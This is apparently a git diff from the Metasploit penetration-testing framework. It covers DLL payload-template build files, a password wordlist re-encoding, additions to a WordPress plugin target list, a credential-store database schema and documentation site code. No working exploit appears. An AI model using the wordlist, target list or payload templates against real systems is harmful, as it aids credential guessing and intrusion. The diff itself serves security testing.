PIMAGE_TLS_CALLBACK _tls_cb[] = { TlsCallback, NULL };
IMAGE_TLS_DIRECTORY _tls_used = { 0, 0, (ULONG)&_tls_index, (ULONG)_tls_cb, 1000, 0 };
*/
@@ -1,3 +0,0 @@
EXPORTS
DllMain@12
@@ -1,18 +0,0 @@
LANGUAGE 9, 1
VS_VERSION_INFO VERSIONINFO
FILEVERSION 0,0,0,1
PRODUCTVERSION 0,0,0,1
FILEFLAGSMASK 0x17L
FILEFLAGS 0x0L
FILEOS 0x4L
FILETYPE 0x2L
FILESUBTYPE 0x0L
BEGIN
END
#define RT_HTML 23
@@ -4,6 +4,7 @@ if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 template.cpp /Fe:template_%1_windows_mixed_mode.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 /DSCSIZE=262144 template.cpp /Fe:template_%1_windows_mixed_mode.256kib.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
exit /B
:NO_ARGUMENTS
Binary file not shown.
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+101
View File
@@ -0,0 +1,101 @@
# Mostly from https://docs.rocketsoftware.com/bundle/grv1653317862214_grv1653317862214/page/nhb1653316841876.html
{
0: "UVE_NOERROR",
14002: "UVE_ENOENT",
14005: "UVE_EIO",
14009: "UVE_EBADF",
14012: "UVE_ENOMEM",
14013: "UVE_EACCES",
14022: "UVE_EINVAL",
14023: "UVE_ENFILE",
14024: "UVE_EMFILE",
14028: "UVE_ENOSPC",
14551: "UVE_NETUNREACH",
22001: "UVE_BFN",
22002: "UVE_BTS",
20003: "UVE_IID",
22004: "UVE_LRR",
22005: "UVE_NFI",
30001: "UVE_RNF",
30002: "UVE_LCK",
30095: "UVE_FIFS",
30097: "UVE_SELFAIL",
30098: "UVE_LOCKINVALID",
30099: "UVE_SEQOPENED",
30100: "UVE_HASHOPENED",
30101: "UVE_SEEKFAILED",
30103: "UVE_INVALIDATKEY",
30105: "UVE_UNABLETOLOADSUB",
30106: "UVE_BADNUMARGS",
30107: "UVE_SUBERROR",
30108: "UVE_ITYPEFTC",
30109: "UVE_ITYPEFAILEDTOLOAD",
30110: "UVE_ITYPENOTCOMPILED",
30111: "UVE_BADITYPE",
30112: "UVE_INVALIDFILENAME",
30113: "UVE_WEOFFAILED",
30114: "UVE_EXECUTEISACTIVE",
30115: "UVE_EXECUTENOTACTIVE",
30124: "UVE_TX_ACTIVE",
30125: "UVE_CANT_ACCESS_PF",
30126: "UVE_FAIL_TO_CANCEL",
30127: "UVE_INVALID_INFO_KEY",
30128: "UVE_CREATE_FAILED",
30129: "UVE_DUPHANDLE_FAILED",
31000: "UVE_NVR",
31001: "UVE_NPN",
39101: "UVE_NODATA",
39119: "UVE_AT_INPUT",
39120: "UVE_SESSION_NOT_OPEN",
39121: "UVE_UVEXPIRED",
39122: "UVE_CSVERSION",
39123: "UVE_COMMSVERSION",
39124: "UVE_BADSIG",
39125: "UVE_BADDIR",
39127: "UVE_BAD_UVHOME",
39128: "UVE_INVALIDPATH",
39129: "UVE_INVALIDACCOUNT",
39130: "UVE_BAD_UVACCOUNT_FILE",
39131: "UVE_FTA_NEW_ACCOUNT",
39134: "UVE_ULR",
39135: "UVE_NO_NLS",
39136: "UVE_MAP_NOT_FOUND",
39137: "UVE_NO_LOCALE",
39138: "UVE_LOCALE_NOT_FOUND",
39139: "UVE_CATEGORY_NOT_FOUND",
39201: "UVE_SR_SOCK_CON_FAIL",
39210: "UVE_SR_SELECT_FAIL",
39211: "UVE_SR_SELECT_TIMEOUT",
40001: "UVE_INVALIDFIELD",
40002: "UVE_SESSIONEXISTS",
40003: "UVE_BADPARAM",
40004: "UVE_BADOBJECT",
40005: "UVE_NOMORE",
40006: "UVE_NOTATINPUT",
40007: "UVE_INVALID_DATAFIELD",
40008: "UVE_BAD_DICTIONARY_ ENTRY",
40009: "UVE_BAD_CONVERSION_ DATA",
45000: "UVE_FILE_NOT_OPEN",
45001: "UVE_OPENSESSION_ERR",
45002: "UVE_NONNULL_RECORDID",
80011: "UVE_BAD_LOGINNAME",
80019: "UVE_BAD_PASSWORD",
80144: "UVE_ACCOUNT_EXPIRED",
80147: "UVE_RUN_REMOTE_FAILED",
80148: "UVE_UPDATE_USER_FAILED",
81001: "UVE_RPC_BAD_CONNECTION",
81002: "UVE_RPC_NO_CONNECTION",
81005: "UVE_RPC_WRONG_VERSION",
81007: "UVE_RPC_NO_MORE_ CONNECTIONS",
81009: "UVE_RPC_FAILED",
81011: "UVE_RPC_UNKNOWN_HOST",
81014: "UVE_RPC_CANT_FIND_ SERVICE",
81015: "UVE_RPC_TIMEOUT",
81016: "UVE_RPC_REFUSED",
81017: "UVE_RPC_SOCKET_INIT_ FAILED",
81018: "UVE_RPC_SERVICE_PAUSED",
81019: "UVE_RPC_BAD_TRANSPORT",
81020: "UVE_RPC_BAD_PIPE",
81021: "UVE_RPC_PIPE_WRITE_ERROR",
81022: "UVE_RPC_PIPE_READ_ERROR"
}
+306 -305
View File
@@ -274,8 +274,8 @@ abbreviating
abbreviation
abby
abbye
abbé
abbés
abbé
abbés
abc
abc123
abcd
@@ -975,7 +975,7 @@ adipose
adiposes
adirondack
adirondacks
adiós
adiós
adj
adjacency
adjacent
@@ -1573,7 +1573,7 @@ aidan
aide
aide-de-camp
aide-memoires
aide-mémoire
aide-mémoire
aided
aider
aides-de-camp
@@ -3006,7 +3006,7 @@ animistic
animized
animosity
animus
animé
animé
anion
anionic
anise
@@ -3615,10 +3615,10 @@ applicator
applier
appliers
applique
appliqué
appliquéd
appliquéing
appliqués
appliqué
appliquéd
appliquéing
appliqués
apply
appoint
appointee
@@ -4274,8 +4274,8 @@ arvy
aryan
aryanism
aryn
arête
arêtes
arête
arêtes
as
asa
asama
@@ -4618,7 +4618,7 @@ asturias
astute
astuteness
asuncion
asunción
asunción
asunder
aswan
asyllabic
@@ -4643,7 +4643,7 @@ atalanta
atamelang
atari
ataturk
atatürk
atatürk
atavism
atavist
atavistic
@@ -4742,7 +4742,7 @@ attached
attacher
attaches
attachment
attaché
attaché
attack
attackable
attacker
@@ -6141,7 +6141,7 @@ bartolomeo
barton
bartram
barty
bartók
bartók
baruch
barvale
barvallen
@@ -7880,7 +7880,7 @@ blast
blaster
blasting
blastoff
blasé
blasé
blat
blatancy
blatant
@@ -8433,7 +8433,7 @@ bogotified
bogotifies
bogotify
bogotifying
bogotá
bogotá
bogus
bogy
bogyman
@@ -8911,7 +8911,7 @@ botulinum
botulinus
botulism
boucher
bouclé
bouclé
boudicca
boudoir
bouffant
@@ -8962,13 +8962,13 @@ bourne
bournemouth
bourree
bourses
bourée
bourée
boustrophedon
bout
boutique
boutonniere
boutonnière
boutonnières
boutonnière
boutonnières
bouvier
bouzouki
bovary
@@ -9052,7 +9052,7 @@ boyscout
boysenberry
boyup
bozo
boötes
boötes
bp
bpi
bpoe
@@ -9435,7 +9435,7 @@ bribery
bribie
bric
bric-a-brac
bric-à-brac
bric-à-brac
brice
brick
brick-red
@@ -10472,7 +10472,7 @@ buzzer
buzzing
buzzword
buzzy
buñuel
buñuel
bx
bxs
by
@@ -10528,10 +10528,10 @@ byway
byword
byzantine
byzantium
bêche
bête
bêtes
bêtise
bêche
bête
bêtes
bêtise
c
c.elegans
c.lit.
@@ -10646,8 +10646,8 @@ caffeinated
caffeine
caftan
cafutweni
café
cafés
café
cafés
cage
caged
cager
@@ -10962,8 +10962,8 @@ canalization
canalize
canalling
canape
canapé
canapés
canapé
canapés
canard
canaries
canary
@@ -13334,11 +13334,11 @@ chutzpahs
chuvash
chweni
chyme
château
châteaus
châteaux
châtelaine
châtelaines
château
châteaus
châteaux
châtelaine
châtelaines
ci
cia
ciao
@@ -13840,15 +13840,15 @@ clewer
cliburn
cliche
cliched
cliché
clichéd
clichés
cliché
clichéd
clichés
click
clicker
clicking
client
clientele
clientèle
clientèle
cliff
cliff-hanger
cliffdale
@@ -13951,7 +13951,7 @@ clogged
clogging
cloisonne
cloisonnes
cloisonné
cloisonné
cloister
cloistral
clomp
@@ -14968,7 +14968,7 @@ communing
communion
communique
communiques
communiqué
communiqué
communise
communism
communist
@@ -15196,8 +15196,8 @@ computerize
computes
computicket
computing
compère
compères
compère
compères
comrade
comradeliest
comradeliness
@@ -15241,7 +15241,7 @@ concentrator
concentric
concentrically
concepcion
concepción
concepción
concept
conception
conceptional
@@ -15504,8 +15504,8 @@ confrontation
confrontational
confrontationally
confronter
confrère
confrères
confrère
confrères
confucian
confucianism
confucius
@@ -15755,8 +15755,8 @@ consolidation
consolidator
consoling
consomme
consommé
consommés
consommé
consommés
consonance
consonances
consonant
@@ -16539,8 +16539,8 @@ cortisone
cortland
cortney
corty
cortège
cortèges
cortège
cortèges
corundum
coruscate
coruscation
@@ -16657,8 +16657,8 @@ coulis
coulomb
coulter
coulthard
coulée
coulées
coulée
coulées
council
councillor
councilman
@@ -16791,7 +16791,7 @@ couples
couplet
coupling
coupon
coupé
coupé
cour
courage
courageous
@@ -17506,8 +17506,8 @@ crowning
crows
croydon
crozier
croûton
croûtons
croûton
croûtons
crt
crucial
cruciate
@@ -17526,7 +17526,7 @@ crude
crudeness
crudites
crudity
crudités
crudités
cruel
cruelled
cruelling
@@ -17634,12 +17634,12 @@ crystallographer
crystallographic
crystallography
crystie
crèche
crèches
crème
crêpe
crêpes
crêpey
crèche
crèches
crème
crêpe
crêpes
crêpey
cs
csa
cse
@@ -18113,7 +18113,7 @@ czechoslovakian
czechs
czerniak
czerny
côte
côte
d
da
daantjie
@@ -18299,7 +18299,7 @@ damson
dan
dana
danarand
danaë
danaë
danbury
dance
danceable
@@ -19951,8 +19951,8 @@ derrik
derril
derrinallum
derringer
derrière
derrières
derrière
derrières
derron
derry
dersley
@@ -20447,7 +20447,7 @@ diamagnetic
diamante
diamanthoogte
diamantina
diamanté
diamanté
diameter
diametric
diametrical
@@ -21077,8 +21077,8 @@ discordant
discorporate
discorporated
discotheque
discothèque
discothèques
discothèque
discothèques
discount
discountability
discountable
@@ -21613,9 +21613,9 @@ divisor
divorce
divorcee
divorcement
divorcé
divorcée
divorcées
divorcé
divorcée
divorcées
divot
divulge
divvy
@@ -22000,7 +22000,7 @@ dopiness
dopinesses
doping
doppelganger
doppelgänger
doppelgänger
doppies
doppler
dopy
@@ -22077,7 +22077,7 @@ dorthea
dorthy
dortmund
dory
doré
doré
dos
dosage
dose
@@ -22553,7 +22553,7 @@ drowse
drowsily
drowsiness
drowsy
droëwors
droëwors
dru
drub
drubbed
@@ -22948,7 +22948,7 @@ duynefontein
dvd
dvina
dvorak
dvorák
dvorák
dwaal
dwaalboom
dwain
@@ -23034,33 +23034,33 @@ dzimauli
dzongkha
dzumeri
dzungaria
début
débutante
débutantes
débuts
débâcle
débâcles
déclassé
déclassée
décolletage
décolletages
décolleté
décolletée
décor
décors
découpage
déjà
démodé
dénouement
dépaysé
dépaysée
dérailleur
dérailleurs
déshabillé
détente
détentes
dürer
düsseldorf
début
débutante
débutantes
débuts
débâcle
débâcles
déclassé
déclassée
décolletage
décolletages
décolleté
décolletée
décor
décors
découpage
déjà
démodé
dénouement
dépaysé
dépaysée
dérailleur
dérailleurs
déshabillé
détente
détentes
dürer
düsseldorf
e
e-commerce
e-mail
@@ -24137,7 +24137,7 @@ elysia
elysian
elysium
elyssa
elysée
elysée
em
ema
emabheleni
@@ -24869,8 +24869,8 @@ entreatingly
entreaty
entrechat
entrecote
entrecôte
entrecôtes
entrecôte
entrecôtes
entree
entrees
entremets
@@ -24880,8 +24880,8 @@ entrepot
entrepreneur
entrepreneurial
entrepreneurship
entrepôt
entrepôts
entrepôt
entrepôts
entries
entropic
entropy
@@ -24890,8 +24890,8 @@ entry
entryphone
entryphones
entryway
entrée
entrées
entrée
entrées
entshonalanga
entshongwe
entumbane
@@ -25442,7 +25442,7 @@ ester
estera
esterase
esterhazy
esterházy
esterházy
esterpark
estes
estevan
@@ -26239,8 +26239,8 @@ expository
expostulate
expostulation
exposure
exposé
exposés
exposé
exposés
expound
expounder
express
@@ -26493,7 +26493,7 @@ fab
fabe
faber
faberge
fabergé
fabergé
fabian
fabiano
fabians
@@ -27073,10 +27073,10 @@ fays
fayth
faythe
faze
façade
façades
faïence
faïences
façade
façades
faïence
faïences
fbi
fcc
fd
@@ -27438,10 +27438,10 @@ fi
fia
fiance
fiancee
fiancé
fiancée
fiancées
fiancés
fiancé
fiancée
fiancées
fiancés
fiann
fianna
fiasco
@@ -28051,10 +28051,10 @@ flambes
flamboyance
flamboyancy
flamboyant
flambé
flambéed
flambéing
flambés
flambé
flambéed
flambéing
flambés
flame
flame-proof
flame-proofed
@@ -29111,7 +29111,7 @@ fosterer
fostering
fotomat
foucault
fouché
fouché
fought
foul
foul-mouth
@@ -29306,14 +29306,14 @@ franticness
frants
franz
franzen
françois
françoise
françois
françoise
frap
frappe
frappeed
frappeing
frappes
frappé
frappé
frasco
fraser
fraserburg
@@ -29993,11 +29993,11 @@ fy
fyi
fynbos
fynnland
fête
fêtes
föhn
führer
führers
fête
fêtes
föhn
führer
führers
g
g-string
g-strings
@@ -30428,8 +30428,8 @@ garwin
garwood
gary
garza
garçon
garçons
garçon
garçons
gas
gas-permeable
gasbag
@@ -31012,7 +31012,7 @@ gettysburg
getup
gewgaw
gewurztraminer
gewürztraminer
gewürztraminer
geysdorp
geyser
gezangave
@@ -31316,10 +31316,10 @@ glaciological
glaciologist
glaciology
glacis
glacé
glacéed
glacéing
glacés
glacé
glacéed
glacéing
glacés
glad
gladded
gladden
@@ -32726,11 +32726,11 @@ grus
grusky
gruyere
gruyeres
gruyère
gruyère
gryphon
grysvok
grâce
grünewald
grâce
grünewald
gs
gsa
gsm
@@ -33098,8 +33098,8 @@ gyromagnetic
gyroscope
gyroscopic
gyve
gödel
göteborg
gödel
göteborg
h
h2opolo
ha
@@ -33137,8 +33137,8 @@ habitualness
habituate
habituation
habitue
habitué
habitués
habitué
habitués
hacienda
hack
hackable
@@ -36618,7 +36618,7 @@ hysterical
hystericism
hyundai
hz
héloise
héloise
i
i.e.
ia
@@ -38232,8 +38232,8 @@ inguinal
ingunna
ingvar
ingwavuma
ingénue
ingénues
ingénue
ingénues
inhabit
inhabitable
inhabitance
@@ -39844,8 +39844,8 @@ jakey
jakie
jakob
jalapeno
jalapeño
jalapeños
jalapeño
jalapeños
jalopy
jalousie
jam
@@ -39963,8 +39963,8 @@ jarad
jard
jardine
jardiniere
jardinière
jardinières
jardinière
jardinières
jareb
jared
jarful
@@ -40579,7 +40579,7 @@ jostle
jostling
josue
josy
josé
josé
jot
jotted
jotter
@@ -41766,8 +41766,8 @@ kinder
kindergarten
kindergartener
kindergartner
kindergärtner
kindergärtners
kindergärtner
kindergärtners
kindest
kindhearted
kindheartedness
@@ -42434,8 +42434,8 @@ krystal
krystalle
krystle
krystyna
króna
krónur
króna
krónur
ks
kshatriya
kt
@@ -42926,7 +42926,7 @@ lamport
lamppost
lamprey
lampshade
lamé
lamé
lan
lana
lanae
@@ -44646,8 +44646,8 @@ littleness
littleton
litton
littoral
littérateur
littérateurs
littérateur
littérateurs
liturgic
liturgical
liturgics
@@ -44939,7 +44939,7 @@ lombard
lombardi
lombardy
lome
lomé
lomé
lon
lona
london
@@ -45496,7 +45496,7 @@ luminescent
luminosity
luminous
luminousness
lumière
lumière
lumku
lummox
lump
@@ -45655,7 +45655,7 @@ lychgate
lycopodium
lycra
lycurgus
lycée
lycée
lyda
lydenburg
lydia
@@ -45858,8 +45858,8 @@ macos
macpaint
macquarie
macrame
macramé
macramés
macramé
macramés
macro
macrobiotic
macrobiotics
@@ -46414,7 +46414,7 @@ mallala
mallapunyah
mallard
mallarme
mallarmé
mallarmé
malleability
malleable
malleableness
@@ -46696,7 +46696,7 @@ manorial
manpower
manque
manquzu
manqué
manqué
mans
mansard
manse
@@ -46758,10 +46758,10 @@ manzengwenya
manzi
manzibomvu
manzimahle
manège
manèged
manèges
manèging
manège
manèged
manèges
manèging
mao
maoism
maoist
@@ -47448,7 +47448,7 @@ matimatolo
matinee
mating
matins
matinée
matinée
matisse
matiwane
matjeka
@@ -47540,8 +47540,8 @@ matzoh
matzot
matzoth
matzotshweni
matériel
matériels
matériel
matériels
mau
maubane
maud
@@ -47688,8 +47688,8 @@ mazourka
mazurka
mazy
mazzini
maître
mañana
maître
mañana
mb
mba
mbabane
@@ -51549,15 +51549,15 @@ mzomusha
mzonga
mzonyane
mzotho
mélange
mémoire
ménage
métier
métiers
mêlée
mêlées
möbius
münchhausen
mélange
mémoire
ménage
métier
métiers
mêlée
mêlées
möbius
münchhausen
n
na
naaco
@@ -51632,8 +51632,8 @@ naive
naiveness
naivete
naivety
naiveté
naivetés
naiveté
naivetés
nakamura
nakayama
naked
@@ -51939,13 +51939,13 @@ nazca
nazi
naziism
nazism
naïve
naïvely
naïveness
naïveties
naïvety
naïveté
naïvetés
naïve
naïvely
naïveness
naïveties
naïvety
naïveté
naïvetés
nb
nba
nbc
@@ -52136,8 +52136,8 @@ negligent
negligibility
negligible
negligibly
negligée
negligées
negligée
negligées
negotiability
negotiable
negotiant
@@ -54074,10 +54074,10 @@ nouakchott
nougat
nought
noumea
nouméa
nouméa
noun
nounal
nounéa
nounéa
noupoort
nourish
nourished
@@ -54431,10 +54431,10 @@ nzima
nzimakazi
nzokhulayo
nzombane
née
négligé
née
négligé
o
oaf
oafish
@@ -55069,7 +55069,7 @@ olympian
olympic
olympie
olympus
olé
olé
om
omagh
omaha
@@ -55933,7 +55933,7 @@ outrigger
outright
outrun
outrunning
outré
outré
outscore
outsell
outset
@@ -57060,7 +57060,7 @@ paranoiac
paranoid
paranormal
paranormally
paraná
paraná
parapet
paraphernalia
paraphrase
@@ -57357,8 +57357,8 @@ passwd
password
password1
passworded
passé
passée
passé
passée
past
pasta
paste
@@ -59360,10 +59360,10 @@ pizzazz
pizzeria
pizzicati
pizzicato
piñata
piñatas
piñon
piñons
piñata
piñatas
piñon
piñons
pj
pk
pkg
@@ -59854,7 +59854,7 @@ poignancy
poignant
poikilothermic
poincare
poincaré
poincaré
poinciana
poincianas
poindexter
@@ -60303,8 +60303,8 @@ portie
portiere
porting
portion
portière
portières
portière
portières
portland
portliness
portly
@@ -61002,10 +61002,10 @@ premise
premiss
premium
premix
première
premièred
premières
premièring
première
premièred
premières
premièring
premolar
premonition
premonitory
@@ -61923,10 +61923,10 @@ protrusively
protrusiveness
protuberance
protuberant
protégé
protégée
protégées
protégés
protégé
protégée
protégées
protégés
proud
proudhon
proust
@@ -61946,7 +61946,7 @@ provence
provender
provenience
provenly
provençal
provençal
prover
proverb
proverbial
@@ -62019,10 +62019,10 @@ pryce
pryer
prying
pryor
précis
précised
précises
précising
précis
précised
précises
précising
ps
psalm
psalmist
@@ -62429,10 +62429,10 @@ purvey
purveyance
purveyor
purview
purée
puréed
puréeing
purées
purée
puréed
puréeing
purées
pus
pusan
pusey
@@ -62580,10 +62580,10 @@ pyxidia
pyxidium
pyxis
pzazz
pâté
pères
pétain
pôrto
pâté
pères
pétain
pôrto
q
q-tips.
q-town
@@ -63018,6 +63018,7 @@ r1
r1s
r4
r4s
r50$K28vaIFiYxaY
ra
raapkraal
rab
@@ -63215,7 +63216,7 @@ ragingly
raglan
ragnar
ragnarok
ragnarök
ragnarök
ragout
rags-to-riches
ragtag
@@ -64150,7 +64151,7 @@ recharter
recheck
recherche
recherches
recherché
recherché
rechristen
recidivism
recidivist
@@ -65462,7 +65463,7 @@ repute
reputed
reputes
reputing
repêchage
repêchage
request
requested
requester
@@ -66490,7 +66491,7 @@ risorgimento
risotto
rispark
risque
risqué
risqué
rissole
rita
ritalin
@@ -67101,7 +67102,7 @@ rostropovich
rostrum
roswell
rosy
rosé
rosé
rot
rot-gut
rota
@@ -67211,8 +67212,8 @@ routinize
rouvin
roux
rouxville
roué
roués
roué
roués
rove
rover
roving
@@ -67604,13 +67605,13 @@ ryon
rysmierbult
ryukyu
ryun
régime
régimes
résumé
résumés
réunion
rôle
rôles
régime
régimes
résumé
résumés
réunion
rôle
rôles
s
sa
saa
@@ -68354,10 +68355,10 @@ saussure
saute
sauterne
sauternes
sauté
sautéed
sautéing
sautés
sauté
sautéed
sautéing
sautés
sauveur
savable
savage
@@ -68721,7 +68722,7 @@ schrod
schrodinger
schroeder
schroedinger
schrödinger
schrödinger
schtick
schubert
schuinshoogte
@@ -70196,12 +70197,12 @@ seychelles
seyfert
seymour
sezela
señor
señora
señoras
señores
señorita
señoritas
señor
señora
señoras
señores
señorita
señoritas
sf
sforzandi
sforzando
@@ -72452,7 +72453,7 @@ smutting
smutty
smyrna
smythesdale
smörgåsbord
smörgåsbord
sn
snaaks
snack
@@ -72823,13 +72824,13 @@ soi
soi-disant
soigne
soignee
soigné
soigné
soil
soiled
soiling
soiree
soirée
soirées
soirée
soirées
sojourn
sojourner
sojourning
@@ -73126,8 +73127,8 @@ sottish
sou
soubriquet
souffle
soufflé
soufflés
soufflé
soufflés
sough
soughing
soughs
@@ -73161,8 +73162,8 @@ soup
soupcon
souphanouvong
soupy
soupçon
soupçons
soupçon
soupçons
sour
source
sourced
@@ -76890,9 +76891,9 @@ szechuan
szechwan
szilard
szymborska
são
séance
séances
são
séance
séances
t
t-bone
t-junction
@@ -77263,7 +77264,7 @@ tannery
tannest
tanney
tannhauser
tannhäuser
tannhäuser
tannie
tannin
tanning
@@ -78405,7 +78406,7 @@ thespis
thessalonian
thessalonians
thessaloniki
thessaloníki
thessaloníki
thessaly
theta
theunissen
@@ -79406,7 +79407,7 @@ tomorrow
tompkins
tomsk
tomtit
tomé
tomé
ton
tonal
tonality
@@ -79700,7 +79701,7 @@ touchstone
touchwood
touchy
touchy-feely
touché
touché
tough
tough-minded
toughen
@@ -81328,10 +81329,10 @@ tzarist
tzatziki
tzeltal
tzigane
tête
tête-bêche
tête-à-tête
tórshavn
tête
tête-bêche
tête-à-tête
tórshavn
u
uar
uart
@@ -83891,7 +83892,7 @@ valvoline
valvular
valvules
valyland
valéry
valéry
vamoose
vamp
vamped
@@ -84138,8 +84139,8 @@ velvet
velveted
velveteen
velvety
velásquez
velázquez
velásquez
velázquez
venables
venal
venality
@@ -84508,8 +84509,8 @@ victualer
victualler
victualling
vicuna
vicuña
vicuñas
vicuña
vicuñas
vida
vidal
vide
@@ -84711,7 +84712,7 @@ virulence
virulent
virus
vis
vis-à-vis
vis-à-vis
visa
visage
visagiepark
@@ -84938,13 +84939,13 @@ voidness
voids
voila
voile
voilà
voilà
voip
vol
vol-au-vent
vol.
volapuk
volapük
volapük
volar
volatile
volatileness
@@ -87786,7 +87787,7 @@ yankton
yao
yaobang
yaounde
yaoundé
yaoundé
yap
yapped
yapping
@@ -88383,15 +88384,15 @@ zymurgy
zyrtec
zyuganov
zzz
zürich
Ågar
Ångström
éclair
éclairs
éclat
élan
émigré
émigrés
épée
étude
zürich
Ågar
Ångström
éclair
éclairs
éclat
élan
émigré
émigrés
épée
étude
vagrant
@@ -57,3 +57,5 @@ woocommerce-abandoned-cart
elementor
bookingpress
paid-memberships-pro
woocommerce-payments
file-manager-advanced-shortcode
+2
View File
@@ -0,0 +1,2 @@
Contains `modules_metadata_base.json` which contains information about all modules within Metasploit, as well as
`schema.rb` which describes current state of the database schema maintained by Rails ActiveRecord.
+28621 -2222
View File
File diff suppressed because it is too large Load Diff
+3 -2
View File
@@ -10,7 +10,7 @@
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema[7.0].define(version: 2019_05_07_120211) do
ActiveRecord::Schema[7.0].define(version: 2022_12_09_005658) do
# These are extensions that must be enabled in order to support this database
enable_extension "plpgsql"
@@ -314,8 +314,9 @@ ActiveRecord::Schema[7.0].define(version: 2019_05_07_120211) do
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.string "jtr_format"
t.index "type, decode(md5(data), 'hex'::text)", name: "index_metasploit_credential_privates_on_type_and_data_pkcs12", unique: true, where: "((type)::text = 'Metasploit::Credential::Pkcs12'::text)"
t.index "type, decode(md5(data), 'hex'::text)", name: "index_metasploit_credential_privates_on_type_and_data_sshkey", unique: true, where: "((type)::text = 'Metasploit::Credential::SSHKey'::text)"
t.index ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, where: "(NOT ((type)::text = 'Metasploit::Credential::SSHKey'::text))"
t.index ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, where: "(NOT (((type)::text = 'Metasploit::Credential::SSHKey'::text) OR ((type)::text = 'Metasploit::Credential::Pkcs12'::text)))"
end
create_table "metasploit_credential_publics", id: :serial, force: :cascade do |t|
+3
View File
@@ -1,3 +1,6 @@
# Folder Purpose
This folder contains files related to running Metasploit inside Docker.
# Metasploit in Docker
## Getting Started
+1 -28
View File
@@ -1,29 +1,2 @@
<style>
#main-content p {
text-align: justify;
}
<link rel="stylesheet" href="{% link assets/css/main.css %}">
.language-mermaid .label {
text-transform: inherit;
}
.language-msf .zp {
text-decoration: underline;
}
.language-msf .ze {
color: #960050;
}
.language-msf .zg {
color: #859900;
}
.language-msf .zs {
color: #268bd2;
}
.language-msf .zw {
color: orange;
}
</style>
+60
View File
@@ -0,0 +1,60 @@
// Handle opening/closing module overview list items
jtd.onReady(function(ready) {
var forEach = function (list, callback) {
for (var i = 0; i < list.length; i++) {
callback(list[i])
}
};
// Bind listeners for expand all / collapse all functionality
var bindToggleAll = function (selector, options) {
var isOpen = options.open;
var expandAllButtons = document.querySelectorAll(selector);
forEach(expandAllButtons, function (button) {
jtd.addEvent(button, 'click', function (e) {
var originalTarget = e.target || e.srcElement || e.originalTarget;
if (originalTarget.tagName !== 'A') { return; }
var moduleList = originalTarget.closest('.module-list');
forEach(moduleList.querySelectorAll('.folder > ul'), function (list) {
if (isOpen) {
list.classList.add('open');
} else {
list.classList.remove('open');
}
})
e.preventDefault();
});
});
};
bindToggleAll('.module-list [data-expand-all]', { open: true })
bindToggleAll('.module-list [data-collapse-all]', { open: false })
// Bind listeners for collapsing module navigation items
var moduleStructureElements = document.querySelectorAll('.module-structure');
forEach(moduleStructureElements, function (moduleStructure) {
jtd.addEvent(moduleStructure, 'click', function (e) {
var originalTarget = e.target || e.srcElement || e.originalTarget;
if (originalTarget.tagName !== 'A') { return; }
var parentListItem = originalTarget.closest('li');
if (parentListItem.className.indexOf('folder') === -1) { return; }
toggleChildModuleList(parentListItem)
e.preventDefault();
});
})
var toggleChildModuleList = function (parent) {
var list = parent.querySelector('ul');
if (!list) {
return;
}
list.classList.toggle('open');
// Recursively automatically open any nested lists of size 1
if (list.children.length === 1) {
toggleChildModuleList(list.children[0])
}
}
});
+159
View File
@@ -0,0 +1,159 @@
require 'jekyll'
require 'json'
require 'pathname'
#
# Helper class for extracting information related to Metasploit framework's stats
#
class MetasploitStats
def total_module_count
modules.length
end
# @return [Hash<String, Integer>] A map of module type to the amount of modules
def module_counts
module_counts_by_type = modules.group_by { |mod| mod['type'].to_s }.transform_values { |mods| mods.count }.sort_by(&:first).to_h
module_counts_by_type
end
# @return [Array<Hash<String, Hash>>] A nested array of module metadata, containing at least the keys :name, :total, :children
def nested_module_counts
create_nested_module_counts(modules)
end
protected
# @param [Array<Hash>] modules
# @param [String] parent_path The parent path to track the nesting depth when called recursively
# i.e. auxiliary, then auxiliary/admin, then auxiliary/admin/foo, etc
def create_nested_module_counts(modules, parent_path = '')
# Group the modules by their prefix, i.e. auxiliary/payload/encoder/etc
top_level_buckets = modules.select { |mod| mod['fullname'].start_with?(parent_path) }.group_by do |mod|
remaining_paths = mod['fullname'].gsub(parent_path.empty? ? '' : %r{^#{parent_path}/}, '').split('/')
remaining_paths[0]
end.sort.to_h
top_level_buckets.map do |(prefix, children)|
current_path = parent_path.empty? ? prefix : "#{parent_path}/#{prefix}"
mod = modules_by_fullname[current_path]
{
name: prefix,
total: children.count,
module_fullname: mod ? mod['fullname'] : nil,
module_path: mod ? mod['path'] : nil,
children: mod.nil? ? create_nested_module_counts(children, current_path) : []
}
end
end
# @return [Array<Hash>] An array of Hashes containing each Metasploit module's metadata
def modules
return @modules if @modules
module_metadata_path = '../db/modules_metadata_base.json'
unless File.exist?(module_metadata_path)
raise "Unable to find Metasploit module data, expected it to be at #{module_metadata_path}"
end
@modules = JSON.parse(File.binread(module_metadata_path)).values
@modules
end
# @return [Hash<String, Hash>] A mapping of module name to Metasploit module metadata
def modules_by_fullname
@modules_by_fullname ||= @modules.each_with_object({}) do |mod, hash|
fullname = mod['fullname']
hash[fullname] = mod
end
end
end
# Custom liquid filter implementation for visualizing nested Metasploit module metadata
#
# Intended usage:
# {{ site.metasploit_nested_module_counts | module_tree }}
module ModuleFilter
# @param [Array<Hash>] modules The array of Metasploit cache information
# @return [String] The module tree HTML representation of the given modules
def module_tree(modules, title = 'Modules', show_controls = false)
rendered_children = render_modules(modules)
controls = <<~EOF
<div class="module-controls">
<span><a href="#" data-expand-all>Expand All</a></span>
<span><a href="#" data-collapse-all>Collapse All</a></span>
</div>
EOF
<<~EOF
<div class="module-list">
#{show_controls ? controls : ''}
<ul class="module-structure">
<li class="folder"><a href=\"#\"><div class=\"target\">#{title}</div></a>
<ul class="open">
#{rendered_children}
</ul>
</li>
</ul>
</div>
EOF
end
module_function
